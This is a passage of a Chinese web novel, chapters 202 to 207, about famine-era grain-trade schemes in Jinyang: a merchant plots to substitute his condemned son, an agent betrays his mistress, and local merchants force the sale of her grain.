《被逼换亲,我从贫民窟到一品诰命》 第202章:偷梁换柱 司徒明带着随从走进酒楼时。 他的小厮还在担心地问:“公子,就这样放任世子夫人,会不会惹出麻烦?” 司徒明摇着折扇:“就怕她什么都不做。” “啊?”小厮一头雾水,似懂非懂。 说话间,两人已经进入酒楼。 司徒明的目光,在酒楼里扫视一圈,低声问小厮:“你确定,姓胥的今天会在这里?” “小的确信。”小厮信誓旦旦地道,“他约了晋阳府司狱在此间酒楼谈事,绝对不会错的。” “他竟找上一个不入流的司狱,可见胥家真的是走投无路,求救无门。” 小厮笑着附和道:“这啊,还得多亏了新来的孟知府。 孟希延到了之后,仗着手里有把尚方宝剑,把晋阳府衙的重要官员清理个遍。 也就这些不入流的小官小吏,侥幸逃脱惩罚。” 姓胥的商人,曾是晋阳城的富商之一。 胥家不仅做布匹、粮食生意,还做金银楼、当铺等生意。 胥家富得流油,自然是招人嫉妒。 特别是兰纮来了之后,想要从他身上撕下几块肉。 而胥家人作为土皇帝,嚣张跋扈惯了,谁都不放在眼里。 行事一如既往,肆无忌惮。 很轻易就落入兰纮给他设下的陷阱当中。 众目睽睽之下,当众杀人,无从抵赖。 私下如何的拉扯、算计不说。明面上兰纮刚正不阿,依法判了胥家独子秋后问斩,并且很快就通过了京城刑部的审核,准以死刑。 胥家家主,为了保住独子一命,只得低下高傲的头颅和兰纮谈判。 最终,他以大半家财,换得儿子性命。 只等临近斩首时,扔出一个新的替罪羊,胥家独子便能无罪释放,光明正大的活在阳光之下。 谁知,旱情暴露,半路杀出个孟希延,把他们的计划全打乱了。 现在的兰纮自身难保。 如何还顾得上胥。 胥家也不敢贸然找上兰家,那不是不打自招,请动把贿赂的证据送到别人手里么? 胥家再不甘,也只能认下这个哑巴亏。 同时,胥家家主也不想放弃唯一的儿子。 眼看再有个把月就到秋后问斩了。 胥家急得不行。 晋阳府的局势稍稳,胥家人就坐不住了,开始四处活动起来。 上面那些位高权重的,都是孟迟飞的人手,他怎敢染指。 也就只能在这里小吏身上下点功夫。” 在小厮的带领下,司徒明来到一个早就订好的雅间。 到了房间之后。 小厮将一只茶碗扣在墙上,又将耳朵贴茶碗底下。 隔壁的说话声,隐隐约约地传来。 “王司狱,我这边找了一个,无论是身形还是模样,都与我儿子有五分相似的人,到时候只需要你配合……”一个声音,循循善诱。 “这……你找的人靠谱吗?”另一个声音担忧问道,“万一他在刑场反水,你我二人恐怕要吃不了兜着走。” “你放心。这个灾荒年,有多少贱民吃不上饭被活活饿死。 两石杂粮,大把的人,排队上赶着卖命。”第一个声音鄙夷又不屑。 “只要肯帮我这个忙,好处少不了你的。 一家铺面,外加一千两银子。 便是你在事成之后,辞掉司狱一职,拿着这些钱,也够你家三代吃喝不愁。”第一个声音,继续放出诱饵。 “兹事体大。新来的知府雷霆手段,我们未必有机会。”第一个声音仍然犹豫。 很明显,对话的二人,正是胥家家主,与晋阳府大牢的王司狱。 他们正在商量,如何用人偷梁换柱,帮胥家公子死里逃生。 一盏茶的时间结束。 两方并未达成一致。 王司狱有贼心没贼胆。 胥家家主的筹码确实够吸引人。 但有命拿,未必有命花! 若是以前,做便做了,被发现大不了革职。 然而,现在这个姓孟的却会要人命! 特别是经过孟希延的大清洗,他早就如同惊弓之鸟。 王司狱先行离开。 好一会儿,胥家家主才跟着出门。 不过,他出门时,就被人挡住了去路。 他往左边移,对方也往左边移。 他往右边移,对方也往右边移。 这明显是来找茬的! 胥家家主事情没谈成,他很不高兴。 抬起头来,正要发火。 就见司徒明,正微笑看着他。 胥家家主一眼认出司徒明,正是“妙笔斋”的大管事。 他脸上不显,心里却咯噔一下:“你……” “胥家家主,请借一步说话。”司徒明直接打断他,并且做了一个请的手势。 胥家家主眼中精芒闪过,还是走进了司徒明的雅间。 他发现,司徒明的雅间,就在自己的隔壁。 他不着痕迹地打量雅间的布置。 看见墙边条案上放着的两只茶碗,他的瞳孔颤了颤:这个司徒明,刚才在隔壁偷听?! 那自己“偷梁换柱”的办法,岂不是被他全听去了。 他脸色一变,正要发难,就听司徒明的声音,不疾不徐地道:“胥家家主,尝一尝我从京城带来的好茶。” 说着,司徒明亲自给他斟茶。 胥家家主不动声色,端起茶杯轻抿一口,随即眼前一亮,由衷叹出声:“好茶,真是好茶!” 司徒明笑道:“御赐的茶,当然是好茶。” 胥家家主端着茶杯的手一哆嗦,茶水撒了出来。 但他不愧是浸淫商场多年的老狐狸,不过片刻时间,就调整好了自己的情绪。 他放下茶杯,神情无比镇定:“司徒公子又是偷听,又是御茶,如此阵仗用来对付我这个小商人,实在多此一举。 司徒公子要我做什么,不妨开诚布公地谈一谈。” 司徒明一点没有被直白点破的尴尬。 反而道:“我是来找胥家家主合作的,诚意自然要足一点,才能让你心甘情愿地为我办事。” 胥家家主做出一副洗耳恭听的模样。 司徒明也不再与他虚与委蛇,直接道:“你帮我卖粮,我帮你保住胥公子。” 这人,刚才果然在背后偷听! 胥家家主摊摊手:“盯上那批粮食的,不止我一个人。我帮不了你。 要怪就怪你们当初进城太张扬,行事太高调,惹得全府的同行不高兴,自然也得付出相应的代价。” “谁说我要保那批粮食了!”司徒明淡淡道。 【注:司狱:地方监狱长。府衙司狱,从九品,不入流,位卑责重。】 第203章:寒了闻颜的心 这回,反而让胥家家主,怔住了。 “你的意思是……?” “不过是些受潮发芽的粮食,只要你别得寸进尺,让我家夫人面子上太难看。 那些粮食,就当是我们来晋阳府,送给各位的见面礼。” 司徒明说得云淡风轻。 仿佛上万石粮食,洒洒水一样简单。 不过,话说回来。 能让他把上万石粮食,随意往外扔,他真正所谋,得有多大! 胥家家主不敢再看轻司徒明。 他当即正了正神色,问道:“不知,司徒先生出自哪位家族?” 司徒明看着他,淡淡一笑,便道:“京城里,能得到御茶的家族不多,而我所在的家族,恰是其中之一。 又恰好,我有办法让胥公子洗脱罪名,以原本的身份,光明正大地活着。” “司徒公子的办法是?”胥家家主眼前一亮。 他原本计划,先保住独子性命,其他的再徐徐图之。 有更好的选择,他又怎会让儿子苟且偷生。 司徒明朝胥家家主勾了勾手指。 胥家家主觉得自己像只家犬,被他随意地呼来喝去。 不过,为了儿子,他暂且忍下,附耳过去。 司徒明在他耳边一阵低语。 胥家家主神情激动,大声道:“好!这个办法好!只要司徒公子能还我儿清白之身。 司徒公子想要我做什么,只管吩咐便是!” 司徒明也直言来意:“我手里有一批优质的精粮,胥家应该能帮着全部卖掉的吧。” “司徒公子说的一批,大概有多少?” “暂时有五万石,当然,后面还有更多的粮食,源源不断地送过来。” 胥家家主倒吸一口气。 这么多粮食流入晋阳府,瓜分的是其他粮商的利益。 而自己作为司徒家的代理人,会直接承受那些人的怒火。 从此以后,晋阳府可还有胥家的立足之地! 司徒明这是要断了胥家的根基啊! 司徒明像是看穿了他的心思,说道:“以后有我背后的家族给你做靠山,那些商户岂敢动你? 不妨告诉你一个消息。 现在的知府孟希延,在这里待不了多久,他来此是为了镀金。 等晋阳府的灾情一稳定,朝廷就会任命新的知府过来。 你觉得,到时候派过来的人会是谁?” 胥家家主眼神一亮:“你是说,新知府会是你们的人?” 司徒明笑得暧昧:“是我们的人。” 胥家家主原本不是一个冲动的人。 此时却被司徒明说得内心火热。 士农工商。 商人被人轻贱。 仕途公差之人一边瞧不起他们,又一边抱着他们敲骨吸髓。 这些年,他一直通过联姻,资助等方式笼络学子,希望他们发达了,能庇佑自己一二。 可惜啊! 寒门学子想要出人头地,太难了。 他努力了这么些年,也只供出一名进士,还被发配到边远地区做了穷酸知县。 如今,司徒明代表背后的权贵,朝他抛出橄榄枝,他怎么不兴奋激动。 当即,他就一口答应了司徒明的合作要求。 随后。 他们又谈了将近一个时辰,都是在商量合作细节。 既有胥家如何卖粮,也有司徒明如何帮胥公子脱罪的细节。 两人都满意而归。 等他们离开之后, 闻颜和佩儿才从相邻的房间走出来。 佩儿皱着眉,气道:“没想到司徒明如此龌龊!” 闻颜却一脸兴奋。 没想到,霍耀行竟然弄来这么多粮食。 只可惜,以她现在的实力,根本吞不下这么多。 不然她定会照单全收。 佩儿担忧地问道:“小姐,眼看他们就要狼狈为奸,我们要不要做点什么?” “当然要做点事。”不搞点事,都对不起她千里奔波过来。 佩儿顿时兴奋起来:“小姐,你准备怎么动作?可一定要带上我。” 闻颜微笑道:“等时机一到,我第一个通知你。” 接下来几天。 闻颜一直监视着司徒明和胥家的一举一动。 她眼看着胥家家主,将另外几个粮商叫到一起,商议出瓜分闻如月粮食的价格。 而此时的闻如月,完全不知,自己早就被司徒明出卖,已经成为砧板上的鱼。 早就被别人标好了价格。 她经过两天的奔波,终于找到孟希延剿匪的队伍。 当时双方正在交战。 闻如月的马车,就大喇喇地出现在战场边缘。 战场上,残肢断体,鲜血乱溅。 闻如月当时就吓得干哕起来。 连忙催促车夫赶紧调头跑。 孟希延这方的攻势凶猛,土匪们自顾不暇,哪里有空理会一个路人。 闻如月也侥幸捡回了一条命。 战斗结束。 闻如月再次找到孟希延。 此时,她鬓发散乱,衣服皱巴巴的,双腿直哆嗦,别提有多狼狈。 “都怪你做的好事!”闻如月埋怨地瞪向孟希延。 孟希延莫名其妙:“你是谁啊!” 闻如月指着自己的鼻尖:“你……我……你竟然不认识我?” 元小头领站在孟希延身边,嘲讽道:“哟,你是银子吗,谁都要认识你?” “你……”闻如月气结,“我懒得跟你一个粗鄙武夫计较!孟希延,闻颜是我妹妹。我是闻颜的姐姐。” 元小头领挑眉看着闻如月。 原来她就是那个冤大头啊! “闻颜是你的妹妹?所以呢?”孟希延不咸不淡地看着她。 仿佛她就是一只路边的阿猫阿狗。 几次三番被轻视。 闻如月愤怒至极,却也没忘记自己此行的目的:“我运着大批粮食到晋阳府,想帮你解决灾粮问题。 可晋阳府的人不识好歹,竟然勾结在一起陷害我。 这件事,你得为我做主。” 孟希延连余光都懒得给她:“你要我做什么主?” “还我粮铺清白,撤掉封条,我的铺子才好重新开业。” “查案、治安自有通判、推官、典史管理。我的主要职责是赈灾,你这件事你找错人了。” “你……不过是一句话的事。你现在是知府,他们都要听你的。 只要你跟那些人说一声,他们敢不听你的吩咐吗? 况且我是闻颜的姐姐,我有困难就是闻颜有困难,你现在不帮忙,岂不是寒了闻颜的心!” 孟希延:“……” 元小头领:“……” 他们就没见过,这般厚颜无耻之人。 第204章: 开新店 看着他们二人沉默,以为他们不愿意,当下就更急了:“孟希延,你不会连这么点小忙都不帮吧! 我可是闻家真正的女儿。只要我一句话,整个闻家都会怠慢她。 孟迟飞可是闻颜最好的朋友,你总不会看着她们不好受吧!” 元小头领差点喷笑出声。 闻如月脑子没问题吧,闻颜早就嫁出去了,又闹得那么僵,拿闻家来威胁闻颜。 这不是开玩笑么! 但凡知道闻家的恩怨,都说不出这么脑残的话。 这时,一个手下前来汇报情况。 提起曾经看到的,手下露出不忍的神情。 这伙土匪,掳了好些过路女子回村中,要么分给村中未婚男人,要么被押在地下室里,供那些男人玩乐。 为了节约粮食,也是防止逃跑,那些女人没吃过一顿像样的饭。 他带人找到她们的时候,一个个都是皮包骨头,身上全是伤痕,虚弱得连话都说不清楚。 说着,他朝旁边的空地上指了指。 在那里,正有兵卒,将救出来的女子,全部用担架抬了出来,并排放在地上。 孟希延没有过去,只是隔着远距离看了一眼,就道:“把她们带回晋阳城,再请大夫替她们好好诊治。” “是。”手下应着,又将一个油纸包放到孟希延面前:“这一大包全是蒙汗药,是我们从村子里搜出来的。” 也不知这窝土匪,用这药害了多少人。 油纸包足有海碗大小,这么大分量,几头牛都能迷晕了。 不过,他掂了掂纸包,突然嘴角上扬,挤出一个干巴的笑容。 他回身对闻如月道:“既然你把话说到这个份儿上了,我实在没有理由拒绝你。” 闻如月见他答应,得意地哼了哼。 孟希延又如何? 大庸的小战祸又如何? 还不是得乖乖听自己的。 “你先回马车上休息,我去准备一些东西。” 很快,孟希延就去而复返。 他的手里拿着一个水囊,递给了闻如月:“一直赶路,你先喝点水休息一会儿吧。” 闻如月连着赶路,水本就不够用。 早就口干舌燥。 她不疑有他。 接过水囊就准备仰头喝下,忽地又停了下来。 孟希延凤目微眯,不会发现水中有问题了吧! 不等他多想,就见闻如月把水囊递给丫鬟青竹。 青竹将水倒进杯子里,再恭恭敬敬递到闻如月的手里。 闻如月这才接过水一口饮尽。 她一连喝了五杯,还觉不够, 正要继续喝,突然觉得脑袋发昏晕,身体也虚软无力。 “怎么回事?我……我的头好……” 不等她把话说完,就忽然身体一软,往地上倒去。 青竹连忙将她抱住,惊恐大喊:“夫人!你没事吧夫人!你可不能吓我!” 夫人被闻、霍两家捧在手心宠,若是在外面发生意外,她也别想活命。 孟希延叫来两个心腹:“把那些女子送回府城医治,这一行人也带着。” “是。”手下应着。 立即叫人,把闻如月的马车控制住。 青竹哪敢说一个不字,只得乖乖配合。 很快。 闻如月的马车,被裹挟着离开了此地。 此时又有人来报:“小将军,我们找到他们毁尸灭迹的地方了。 在后面的山里,有一个天然坑洞,坑底有近两百具尸体。” 孟希延和元小头的脸色,都变得极为难看。 孟希延的队伍习惯了急行军。 速度很快,舒适度却大打折扣。 本该睡上两天一夜的闻如月,被折腾得一天一夜就醒过来。 她醒来之后,翻身就是一阵呕吐。 感受到身体摇摇晃晃,耳朵里也传来马蹄和车轱辘声。 昏迷前的经历自她脑海闪现。 她便知道,自己着了孟希延的道。 自己被迷晕送回晋阳府了。 “停车!”她尖叫着,她要回去找孟希延算账,再以此为把柄,逼迫他答应帮自己。 然而,根本没人理她。 青竹劝道:“夫人,没用的,马车已经……” “啪!” 闻如月根本不听解释,一个耳光,狠狠甩在青竹脸上,“都怪你这个蠢货!这点小事都办不好。就算我晕了,你也不知撒泼打滚,强制性留下么!” 好在药效未散,闻如月的力气并不大。 却也打得青竹,脸颊火辣辣的疼。 青竹捂着脸,低着头没有说话。 闻如月恨铁不成钢,推开他就要亲自吩咐。 她一把掀开窗帘,嘴里骂骂咧咧:“要死啊,你们这群狗奴才,我让你们停下、调头、回去找……” 她的话还没吼完,就卡在了喉咙里。 驾车之人,根本不是她原来的车夫。 只见他身穿皂衣,腰间佩刀,正是孟希延手下的兵。 小兵回看着她,笑得灿烂:“闻大小姐,还请你配合一下。否则……” 未尽之言中藏着威胁。 这下,她是彻底回不去了! 闻如月跌坐在车厢里,完了! 她的粮铺,恐怕再也开不了业了。 她眼中满是绝望。 一天之后。 闻如月终于回到了晋阳府。 他们在城门口分道扬镳。 闻如月径直回家。 司徒明接到消息,早早就守在门口。 看见她就迎了上去:“夫人,您可算回来了。那日你突然不见,让小的一阵好找,还以为夫人您碰上了什么危险……” 司徒明一脸焦急担心,眼下青黑。 若非闻颜知道他的真面目,恐怕也要被他虚伪的表象骗去。 闻如月有气没处撒。 当即,斜斜看他一眼:“你跟我来。” 随后,二人就去了正院的书院。 “我给了你这么长的周旋时间,你可有想到办法,让官府撤了封条,店铺重新开业的法子??” 司徒明一脸为难:“那些闹事的人有备而来,那间铺子重新开业,我恐怕做不到。” 闻如月正要发作。 就听司徒明话锋一转,说道:“不然我们只为卖粮,这间铺子开不下去,那就换一间铺子好了。” 闻如月眸光一亮,只觉得柳暗花明又一村:“那你还不快去找新的铺面!” “是。”司徒明答着,转身就离开了。 果然,不出意外。 第二间铺子在两日后就开了起来。 这一次,闻如月没敢露面。 她怕有人认出自己,大做文章,被再次封店。 就连掌柜和东家都让护院假扮的。 根本没人猜到,那是她的铺子。 一挂鞭炮放完,铺子外面就排起了长队。 佩儿担忧道:“小姐,若是铺子开起来,恐怕又要折损不少粮食。” 第205章:极限二选一 闻颜笑道:“怕什么,这批粮食可不止我们盯着,有人早就视为囊中之物,怎么可能任由她把那些粮食卖出去。” 闻如月一个外来户,到了此地之后,既不知低调做人,也不拜山头。 还招摇过市地开铺子,跟本地商人抢银子。 就算本地商人没有坏心眼,也不会容许她如此嚣张的作派。 都已经让她关了一次铺子还不够,还敢二次顶风作案。 这是踩着本地商户的脸,在地上摩擦啊! 所以,今天这事,不必闻颜动手,就会有人出手,让闻如月再度关门。 果然。 开张不到半个时辰。 就有人把铺子是闻如月的消息,传播得满城皆知。 原本在铺门口排起的长队,瞬间散了大半。 剩下的一半,不是要买粮,而是往店里扔石头,骂闻如月黑心商家。 还有人去报了官,要把他们抓进大牢。 闻如月此刻就在新粮店对面的茶楼里。 看见下面闹起来,上次被围困在铺子里的恐怖记忆纷至沓来。 闻如月吓得双手直哆嗦。 生怕自己的行踪暴露。 闻如月抓住青竹的手,就大声道:“走,快走。别让人发现我们在这儿。” 青竹也吓得不轻,扶着闻如月就上楼钻上马车。 就在马车驶出去后,人群中的闻颜,突然捏着嗓子大喊:“快看,粮铺的东家,要坐马车逃跑了!” 愤怒的百姓,立刻反应过来。 蜂拥而上,追了上去:“站住!黑心商人你站住,你下来给我们解释清楚,你凭什么还能开店……” 马车在前面跑,百姓在后面追,并且队伍越聚越庞大。 闻如月在马车里吓得腿软,催促车夫:“快点!你再跑快点,别让他们追上我们。” 车夫也是头一次见这种阵仗。 拿缰绳的手都在哆嗦,马鞭不要命地抽在马屁股上:“驾驾驾……” 闻如月被追着,狼狈地逃回了家。 大门一关上,她就双腿发软地跌坐在地上。 “夫……夫人!”青竹去扶她。 没成想,闻如月反手就是一个巴掌,甩在青竹的脸上。 “啊……”青竹痛呼一声,跌坐在地上。 “滚!没用的东西,你给我滚出去!”闻如月大发雷霆。 青竹敢怒不敢言,捂着红肿的脸颊,低着头跑开,谁知转身就撞上了司徒明。 她委屈地小声啜泣:“司徒公子,夫人正气头上,你还是先别过去了,免得引火烧身,受这无妄之灾。” 司徒明淡淡地嗯了一声,却还是走到了闻如月面前:“夫人。” 闻如月看见他,怒气更是压都压不住。 直接骂道:“这就是你说的万无一失吗?现在又算怎么回事? 现在不止我的粮店开不成了,就连差点都被他们打死了! 司徒明,别忘了世子爷让你跟过来,是为了帮我把粮食卖到高价,而不是给我添乱拖后腿的!” 闻如月指着大门:“你能干就干,不能干就给我滚!” 司徒明脸上仍是和颜悦色,眼神里却划过一丝厌恶。 他叹了口气:“夫人,现在不是追究责任的时候。 情况已经这样了,与其在这里互相指责推诿,不如想想下一步怎么做。” 闻如月嗤笑一声,用鄙夷的眼神看着他:“怎么?事到如今,你还能想出馊主意?” 司徒明的表情几乎要裂开了。 他深吸一口气,已经收起了毕恭毕敬:“夫人,迟则生变,你还要尽快做决定。” 闻如月自己想不出办法,也不敢真的得罪司徒明。 她强迫自己冷静下来,问他:“说吧,你还有什么办法?” 司徒明道:“现在,我们有两个选择。 第一,晋阳府不止这一个地方,下辖还有许多城池,也都是重灾区,我们可以悄悄地把粮运去那些地方卖。 只不过,我们有案底在身,想出城并不容易,这个方法风险大投入高。” 闻如月别的不知道,十几二十车粮食重新运出城,所要耗费的人力和金钱不是一个小数目。 她迫不及待地问:“那第二个呢?” “第二个,便是找一个本地粮商,将粮食卖给他。 当然,如此一来,肯定会少赚些银子,但胜在简单省心。” 闻如月登时就怒了:“本地粮商那样害我,你却让我把粮食卖给他们,这不是给他们送钱吗? 司徒明,你不会早就跟那些人串通好了,故意讹我的吧!” 闻如月气急乱说,却一下说到事情根本。 司徒明的眼神明显躲闪了一下,但他很快为自己反驳:“这是我能想到的,最好的两个办法。” 若非还要替世子爷办事,他早就不想管这个女人了。 他站起身来,居高临下地看着闻如月。“夫人与其恶意揣测我,不如回去好好想想,选哪一条吧,在下就不奉陪了。” 司徒明说完,就起身离开了。 留闻如月独自坐在地上。 其他的小厮丫鬟,都躲得远远的,没一个敢上前触闻如月的霉头。 闻如月见半天没人来扶自己,又发了脾气:“都是死人吗?主子摔了也不知道来扶一把。青竹!你死哪儿去了!” 躲在不远处的青竹,连忙捂着红肿的脸跑过去,踉踉跄跄地把闻如月扶回了房间。 因为扶不稳,青竹又挨了好一通骂。 闻颜的佩儿趴在墙上,看了闻如月出丑的全程。 他们滑下墙头,佩儿忍不住啧舌:“啧啧啧,她真的是千金大小姐吗?这脾气上来的时候,跟泼妇有什么两样。” 闻颜在她额头上弹了一下:“就你贫。” 佩儿摸摸鼻尖,又吐了吐舌头,又忽闪着大眼睛问闻颜:“小姐,你说闻如月会选哪一个。” 闻颜:“闻如月最吃不了亏,她肯定会选赚钱多的。” “可是,以胥家为首的晋阳富商,早就盯上她的粮食了,根本不会让她出城的。 小姐,我感觉,又有好戏要看了。” 闻颜捏了捏她的脸颊,软乎乎的,手感真好。 自从佩儿跟了闻颜,好吃好喝的几个月下来,已经从骨瘦如柴,变成肉嘟嘟的小圆脸了。 应知海不在,闻颜就喜欢捏她的脸颊。 闻如月果然做出预料中的选择。 她跑这一趟,千里迢迢,不辞辛苦,可不是为了便宜本地商户。 钱,当然是揣在自己口袋里为好! 很快。 她就跟司徒明商量出,化整为零运出城的方法。 只可惜。 在她往外运第一车粮食时,就被拦下了。 第206章:强买强卖 运粮的马车在城门口接受盘查。 城门军一刀戳下去,粮食就从口子里漏出来。 城门军看见粮食,脸色一变:“你们竟敢私自运粮出城,这是重罪。 来人,把人和粮车全部扣押起来,听候发落。” “不是的不是的,我们……我们不是运粮出城,是……是我出门的时候驾错了马车。我……我现在就回去了。” 车夫手忙脚乱,连忙就赶着马车往回走。 城门军没有阻拦。 只要把粮食留在城里,扣不扣押,他们并不太管。 马车在南城门出城失败后,其他三个城门也陆续传来噩耗。 还有两个车夫反应慢,马车和粮食都被扣押,闻如月又白白损失了七八石粮食。 闻如月虽然生气,却没放弃。 她又让人把粮食分装成小袋,让护院伪装成进城买粮的百姓,零零散散地往外背。 结果,那些护卫出去之后,就进不来了。 没有特殊情况,十天才能进一次城。 她将身边的护卫小厮婢女,全都派去运粮,现在回不来,偌大的院子里,就青竹一人在侍候。 闻如月得知消息之后,整个人都快气炸了。 她气得在屋里砸了一套茶具,仍不消气。 她抬手就想扇青竹巴掌,不过手举到一半还是停住了。 青竹吓得瑟缩着脖子,像只鹌鹑,大气都不敢喘一下。 “这样搬运下去,何年何月才是个头!”闻如月瞪向司徒明,“你说,接下来我们该怎么办?” 司徒明难得露出皱眉的神情,可见他也觉得眼下情况棘手:“我们的路,几乎堵死。” “还用你说,难道我不知道吗?”闻如月觉得他在说些无用的话,“我想要的是办法,你给我想办法啊!” “不如,就把粮食卖给其他粮商吧。”司徒明提议道。 “不可能!”闻如月立即大声驳回,“我跟那些商户本就有仇。 若是让他们知道我走投无路,肯定会大肆压我的价格,我花了这么多心血,才将这些粮食弄到晋阳府,怎么可能贱卖给他们!” 司徒明摊了摊手,叹气一声坐到椅子里,“那现在就只能留几个人在城里盯着粮食,其余人把粮食背去其他地方售卖了。 顶多多花一些时间。” 闻如月沉着脸没有说话。 这种零散的贩卖方式太不稳定,变数也大。 不能亲自盯着,会让她有种强烈的,掌握不了大局的失控感。 她不喜欢这样的感觉。 事情暂时就这样安排下去。 闻如月在家里也呆不住,她决定继续去府衙蹲守孟希延。 这一次…… 大不了再好好求求他,说不定他就会看在两家的交情上,对自己网开一面。 闻如月坐着马车出门,还没走多远,马车急刹,闻如月和青竹差点从凳子上摔下去。 “怎么回事?”闻如月最近心烦气躁,对谁都没好脸色。 青竹连忙打帘子出去看。 就见一辆马车挡住她的去路。 对方马车上下来一个人,对指了一下街边的茶楼,对闻如月道:“闻夫人,我们家主请您上茶楼一叙。” 青竹疑惑地问道:“你家主是谁?” “晋阳粮商,胥德。” 闻如月的声音,立刻从帘子里传出来:“不见。” 青竹传话:“听见了吗?我家夫人说了,不见。” “闻夫人,小的劝您还是上茶楼坐一坐吧,否则您今天就只能困在这辆马车里了。” 闻如月掀起后窗的帘子,就见他们后方也停着一辆马车。 此街道又窄,他们完全被困死在此。 “本地粮商,好生霸道!”闻如月冷哼一声,下了马车。 那位仆人,毕恭毕敬地给她引路:“闻夫人,你这边请。” 进了茶楼之后,闻如月一行三人,就被带去了一间包厢。 只见里面或站或坐了十五六个人,有老有少,全是男人。 一名中年男子热情地迎了上来,态度也算恭敬:“闻夫人,里面请坐,小的姓胥,是晋阳府的粮商之一。” 随后,他又一一介绍了其他几位粮商。 晋阳府有头有脸的粮商,全都到齐了。 群狼环伺,闻如月反而冷静下来。 对方人多势众,走是走不掉的。 闻如月走过去坐下,冷笑一声:“说吧,把我弄到这儿,你们想干什么?” 胥家家主笑眯眯地道:“闻夫人,先喝杯茶,何必生气。” 闻如月不给他们留一点面子:“早就撕破脸了,你在这里装什么?不就是为了我手上的那些粮食吗?” 胥家家主表情一收,施施然坐下,道:“既然如此,那我们就直言不讳了。你手上所剩粮食,我们全都要了。” “你说要我就给吗?” “实话告诉你吧,那些粮食,除了卖给我们,就只能放在仓库里发烂发臭。” 闻如月像听到什么天大的笑话:“晋阳府什么时候轮到一群商人做主了?” 胥家家主笑道:“你若不信,那就再等两刻钟好了。” 闻如月见他说得胸有成竹,心里跟着打鼓。 还隐隐升起一股不安的预感。 然而,并没有等到两刻钟,闻如月就得到最新消息。 他们卖霉粮吃死人的消息,早就传遍整个晋阳府。 根本没人愿意买他们的粮食。 就算有人想买,价格也压得极低。 他们基本没得赚。 闻如月脸色铁青地看着他们:“是你们搞的鬼!” 胥家家主冷笑着说:“是你太把自己当回事,来到别人的地盘还分不清大小王,真当晋阳府没人了吗?” 闻如月知道,自己已经被他们围剿。 除了和他们交易之外,根本没有第二条路给她选。 闻如月两辈子加在一起,除了妙笔斋之外,还是头一回吃这么大的亏。 “报价吧!”闻如月已经不想着赚钱了,只要不亏就行,早点拿了银子,早点回去。 胥家家主和其他人对视一眼,随后报出一个数字。 一听到这个数字。 闻如月的脸色瞬间就变了。 这简直就是强买强卖 这个金额,不算人工她才赚三千两银子。 再刨除请镖师等路上的花费,她折腾一场,就赚了一千多两。 这跟她预期的金额,差了不是一星半点! 心里落差太大,闻如月一口气哽在胸口,半天没缓过来。 【注:城门军,守卫城门的士兵。】 第207章:带头抢粮 在闻如月原本的计划当中,她运过来的粮食,会以五倍至十倍的价格卖出去。 她投入两万多两,连本带利,最保守的收入,也该有十万两白银才对。 这场旱情还会再持续两三年。 越往后,粮价就会越高,而她会用这十万两银子,继续购买粮食,以此钱生钱。 她更会凭借这两年旱情,把家底从两万两,变成五十万两,甚至更多。 可现如今,对面这群吸血的豺狼,竟然给她报一口价,两万六千两银子。 刨除成本人工,纯利润才一千多两银子。 一千多两银子,放在京城地界能干什么? 连一座小宅子都买不到。 稍微贵重一点的礼物,都不止这个价。 这几个月夙兴夜寐的打拼,全为别人做了嫁衣裳,自己白折腾一场。 胥家家主将一份契书,递到闻如月面前:“闻夫人,你赶紧签了吧,为彼此节省一些时间!” 闻如月看着契书,捏紧了拳头。 她回头看向司徒明,想看看他,还有没有绝境求生的办法。 然而,她刚转过头。 胥家家主就挡住了闻如月的视线。 胥家家主似笑非笑地看着她:“闻夫人,在这里,没有人能帮到你。 好汉不吃眼前亏,你可千万不要自己为难自己。” 闻如月气得脸颊通红,不断地喘着粗气。 闻如月知道,这个亏自己不吃也得吃。 当即就提笔在契书上签字画押。 胥家家主拿过契书,吹干上面的墨迹,笑呵呵地道:“闻夫人果然是个爽快人,银子我们已经准备好了,咱们现在就去仓库,一手交钱一手交货如何?” 闻如月冷笑:“你怕什么,契书都签了,我还能跑了不成。我今儿心情不好,什么都不想做,粮食交接之事,明日再说吧。” 知道她在故意刁难。 也怕把她逼急了,会鱼死网破,做出什么极端行为, 胥家家主愣是点头同意了她的要求:“明日午时,希望闻夫人不要再生出什么花样。” 闻如月冷哼一声,拂袖而去。 主仆三人刚刚出门,雅间的门就从里面关上。 雅间里,传来欢笑庆祝的声音。 那位胥家家主得意洋洋地道:“还真把自己当个人物了。也不看看晋阳府是谁的地盘。 没有我们的允许,龙来了得盘着,虎来了也得卧着。 区区妇人,以为从京城来的,就能在此为所欲为了,简直可笑!” 闻颜听见雅间传来猖狂的话,牙齿都快咬碎。 她在心中暗暗发誓:“都给我等着吧!迟早有一天,我会把你们全部挫骨扬灰,以报今日之仇。 司徒明和青竹跟在她身后。 司徒明双眸低垂,心里不知在想些什么。 青竹双腿哆嗦,一脸惊恐。 夫人不高兴,肯定会拿她出气。 她前几天的掐伤还没好…… 三人回到马车旁边。 堵在前后的马车不知什么时候撤走了。 闻如月在青竹的搀扶下上车。 在进车厢前,她突然停下来,回头看向司徒明:“你过来。” 司徒明不疑有他,走了过去。 没有防备。 闻如月一个耳光甩了过去。 “啪!”的一声脆响。 半条街都能听到。 司徒明的脸颊,肉眼可见地肿了起来。 他眼中浮现狠辣之色。 大庭广众之下,竟被一个妇人扇了耳光,简直是奇耻大辱! 恨意和愤怒在他眼中翻涌。 但他很快就克制住了。 只是一言不发地牵着缰绳,拉着马匹离开。 街对面的衣料铺子里。 闻颜和佩儿倚窗而靠。 闻颜啧啧两声,闻如月简直自寻死路。 司徒明表面看着风光霁月,实则阴损恶毒。 今天,闻如月当众扇他耳光,让他丢尽颜面。 他日,司徒明定会十倍百倍奉还。 闻颜已经开始期待,司徒明会如何报复回去。 两人又在二楼等了一会儿。 便见晋阳城那些商户,陆续从茶楼离开。 闻颜笑着道:“佩儿,该我们行动了。” 佩儿摩拳擦掌,她早就迫不及待了。 当夜子时。 晋阳府的某座宅子里,陆续跳出几个黑衣人。 他们朝几个方向分散开。 约莫两刻钟后。 城东一户空宅,突然着火。 “着火啦!”一声尖叫,打破了街坊四邻的美梦,手忙脚乱地爬起来救火。 随后在城中各处,陆续燃起火苗。 原本安静的城中,瞬间乱了起来。 好在起火点虽多,但火势并不大。 街坊四邻纷纷拿自己家的救命水来救火。 一刻钟,火势就被控制住了。 两刻钟后,火就被彻底扑灭。 烧得黢黑的房子里,传出烧米和烧小麦的香气。 勾得他们肚子咕噜噜直叫唤。 大家都伸长脖子往里看。 只见一麻袋一麻袋的粮食,整整齐齐摆了半间屋子。 “是粮食,没想到这里竟是一个小粮仓!” 